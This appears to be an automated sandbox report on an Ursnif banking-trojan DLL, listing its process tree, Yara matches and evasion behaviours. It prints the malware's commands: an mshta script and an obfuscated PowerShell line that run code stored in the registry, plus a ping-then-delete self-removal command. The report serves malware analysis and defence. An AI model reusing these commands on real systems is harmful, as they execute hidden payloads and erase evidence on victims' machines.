Source: C:\Windows\System32\loaddll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\tIJVb0BvkI.dll"
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\tIJVb0BvkI.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\tIJVb0BvkI.dll",#1
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Kmli='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Kmli).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name smlsiwoq -value gp; new-alias -name dbmfrylmpa -value iex; dbmfrylmpa ([System.Text.Encoding]::ASCII.GetString((smlsiwoq "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2tb3qiq3\2tb3qiq3.cmdline
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES109F.tmp" "c:\Users\user\AppData\Local\Temp\2tb3qiq3\CSCCA338523CEA149558ADCBDE2BD495CFE.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xaibb03\5xaibb03.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37BE.tmp" "c:\Users\user\AppData\Local\Temp\5xaibb03\CSC5E69315C691F4C1A85D8DAF9C7145CE8.TMP"
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\tIJVb0BvkI.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\tIJVb0BvkI.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\tIJVb0BvkI.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name smlsiwoq -value gp; new-alias -name dbmfrylmpa -value iex; dbmfrylmpa ([System.Text.Encoding]::ASCII.GetString((smlsiwoq "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2tb3qiq3\2tb3qiq3.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xaibb03\5xaibb03.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES109F.tmp" "c:\Users\user\AppData\Local\Temp\2tb3qiq3\CSCCA338523CEA149558ADCBDE2BD495CFE.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37BE.tmp" "c:\Users\user\AppData\Local\Temp\5xaibb03\CSC5E69315C691F4C1A85D8DAF9C7145CE8.TMP" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\tIJVb0BvkI.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220504 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3nzoxvm.isc.ps1 Jump to behavior
Source: classification engine Classification label: mal100.bank.troj.evad.winDLL@24/15@0/2
Source: C:\Windows\System32\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_010668BD CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification, 3_2_010668BD
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\tIJVb0BvkI.dll",#1
Source: C:\Windows\System32\control.exe Mutant created: \Sessions\1\BaseNamedObjects\{E89B07B0-274E-5A75-F19C-4B2EB590AF42}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\{E8676F4A-27AA-5A21-F19C-4B2EB590AF42}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6204:120:WilError_01
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: tIJVb0BvkI.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000003.00000003.578381495.0000000005DD0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.582897274.0000000005DD0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: d:\in\the\town\where\ahung.pdb source: tIJVb0BvkI.dll
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000003.00000003.578381495.0000000005DD0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.582897274.0000000005DD0000.00000004.00001000.00020000.00000000.sdmp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_0106828B push ecx; ret 3_2_0106829B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01067EA0 push ecx; ret 3_2_01067EA9
PE file contains sections with non-standard names
Source: tIJVb0BvkI.dll Static PE information: section name: .erloc
PE file contains an invalid checksum
Source: tIJVb0BvkI.dll Static PE information: real checksum: 0x79835 should be: 0x7529a
Source: 5xaibb03.dll.17.dr Static PE information: real checksum: 0x0 should be: 0xd18c
Source: 2tb3qiq3.dll.14.dr Static PE information: real checksum: 0x0 should be: 0x12ed
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2tb3qiq3\2tb3qiq3.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xaibb03\5xaibb03.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2tb3qiq3\2tb3qiq3.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xaibb03\5xaibb03.cmdline Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\5xaibb03\5xaibb03.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\2tb3qiq3\2tb3qiq3.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.517711866.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.469735730.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471516390.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.604150409.00000227ABD6C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.595627275.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471577769.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.516674396.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471331342.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471420335.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471258459.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.571473861.0000000005DB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.471561246.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.595756334.0000029B55BFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.518581548.0000000004F0C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.469997167.0000000005108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 7020, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3300, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 4324, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.1060000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b694a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.500a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50894a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b694a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50b6b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50894a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.500a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.50b6b40.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.641851907.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.517608074.000000000500A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.517654657.0000000005089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.593793333.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.584416137.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.643432070.0000000004D8F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.595167769.0000000000A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.642402320.00000000009C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Self deletion via cmd delete
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\tIJVb0BvkI.dll
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\tIJVb0BvkI.dll Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\SysWOW64\rundll32.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4988 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4988 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Found evasive API chain (date check)
Source: C:\Windows\SysWOW64\rundll32.exe Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5xaibb03\5xaibb03.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2tb3qiq3\2tb3qiq3.dll Jump to dropped file
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4426 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 389 Jump to behavior
Found evasive API chain checking for process token information
Source: C:\Windows\SysWOW64\rundll32.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: explorer.exe, 00000013.00000000.619226655.0000000007EF6000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
